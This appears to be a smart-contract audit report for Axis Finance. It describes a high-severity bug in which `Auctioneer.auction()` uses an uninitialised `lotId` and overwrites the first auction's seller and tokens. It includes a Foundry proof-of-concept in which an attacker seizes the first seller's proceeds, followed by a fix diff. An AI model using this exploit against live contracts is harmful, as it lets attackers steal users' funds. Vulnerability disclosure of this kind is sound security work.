Electric Cornflower Terrier

high

# `Auctioneer.auction()` always overwrites first auction's parameters

## Summary

`Auctioneer.auction()` retrieves the lot's routing information from storage as `lotRouting[lotId]`.
`lotId` at this point is unassigned, and always defaults to `0`, i.e., to the first auction's routing parameters.

## Vulnerability Detail

`Auctioneer.auction()` retrieves the lot's routing information from storage, using the uninitialized return parameter `lotId` as index. Thus, any call to `auction()` overwrites the first lot's `seller`, `baseToken` and `quoteToken`.

## Impact

1. Loss of funds attributed to the first auction. An attacker can take take over as the first lot's seller, and manipulate its base and quote tokens to point to other ERC20s than intended.
2. All subsequent auctions fail, because their `auctionReference` module reference is set to 0x00.

### Proof of Concept for (1)

In the PoC below, we demonstrate how `_EVE` takes possession of quote tokens that belong to `_SELLER`:

<details>

Copy the code below into a fresh file `moonraker/test/AuctionHouse/poc.t.sol` and run with

```sh
$ forge test --mt test_poc
```

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import {AuctionHouseTest} from "test/AuctionHouse/AuctionHouseTest.sol";
import {Auctioneer} from "src/bases/Auctioneer.sol";
import {Auction} from "src/modules/Auction.sol";
import {Router} from "src/AuctionHouse.sol";

contract PoC is AuctionHouseTest {
    function test_poc() external whenAuctionTypeIsBatch whenBatchAuctionModuleIsInstalled {
        uint96 _BID_AMOUNT = 5e18;

        // Addresses & initial funds
        address _EVE = address(0x99);
        _baseToken.mint(_SELLER, _LOT_CAPACITY);
        _baseToken.mint(_EVE, _BID_AMOUNT);
        _quoteToken.mint(_bidder, _BID_AMOUNT);

        // _SELLER creates first auction
        vm.startPrank(_SELLER);
        _baseToken.approve(address(_auctionHouse), _LOT_CAPACITY);
        _lotId = _auctionHouse.auction(_routingParams, _auctionParams, _INFO_HASH);
        vm.stopPrank();

        // Eve creates second auction
        vm.startPrank(_EVE);
        _baseToken.approve(address(_auctionHouse), _BID_AMOUNT);
        _auctionParams.capacity = _BID_AMOUNT;
        _lotId = _auctionHouse.auction(_routingParams, _auctionParams, _INFO_HASH);
        vm.stopPrank();

        // Eve's lot is now seller 0
        Auctioneer.Routing memory routing = _getLotRouting(1);
        assertEq(routing.seller, address(0));

        // Seller's lot now belongs to Eve
        routing = _getLotRouting(0);
        assertEq(routing.seller, _EVE);

        // Open the lots
        vm.warp(_startTime);

        // _bidder bids
        vm.prank(_bidder);
        _quoteToken.approve(address(_auctionHouse), _BID_AMOUNT);
        Router.BidParams memory bidParams = Router.BidParams({
            lotId: 0, referrer: _REFERRER, amount: _BID_AMOUNT,
            auctionData: "", permit2Data: _permit2Data
        });

        vm.prank(_bidder);
        uint64 bidId = _auctionHouse.bid(bidParams, _allowlistProof);
        _bidIds.push(bidId);

        // Conclude the lot
        vm.warp(_startTime + _duration + 1);
        // ... and settle
        _batchAuctionModule.setLotSettlement(0, Auction.Settlement({
            totalIn: _BID_AMOUNT, totalOut: _BID_AMOUNT,
            pfBidder: address(0), pfReferrer: address(0),
            pfRefund: 0, pfPayout: 0, auctionOutput: ""
        }));
        _auctionHouse.settle(0);

        // Seller claims proceeds, gets nothing
        vm.prank(_SELLER);
        _auctionHouse.claimProceeds(0, bytes(""));
        assertEq(_quoteToken.balanceOf(address(_SELLER)), 0);
        assertEq(_baseToken.balanceOf(address(_SELLER)), 0);

        // Eve receives 5e18 of the quote token
        assertEq(_quoteToken.balanceOf(address(_EVE)), 5e18);
    }
}
```

</details>

## Code Snippet

https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/bases/Auctioneer.sol#L160-L174

## Tool used

Manual Review

## Recommendation

Assign `lotId` before retrieving routing information:

```diff
diff --git a/moonraker/src/bases/Auctioneer.sol b/moonraker/src/bases/Auctioneer.sol
index a77585b..c636752 100644
--- a/moonraker/src/bases/Auctioneer.sol
+++ b/moonraker/src/bases/Auctioneer.sol
@@ -171,6 +171,8 @@ abstract contract Auctioneer is WithModules, ReentrancyGuard {
             revert InvalidParams();
         }
 
+        // Increment lot count and get ID
+        lotId = lotCounter++;
         Routing storage routing = lotRouting[lotId];
 
         bool requiresPrefunding;
@@ -190,9 +192,6 @@ abstract contract Auctioneer is WithModules, ReentrancyGuard {
                     || baseTokenDecimals > 18 || quoteTokenDecimals < 6 || quoteTokenDecimals > 18
             ) revert InvalidParams();
 
-            // Increment lot count and get ID
-            lotId = lotCounter++;
-
             // Call module auction function to store implementation-specific data
             (lotCapacity) =
                 auctionModule.auction(lotId, params_, quoteTokenDecimals, baseTokenDecimals);
```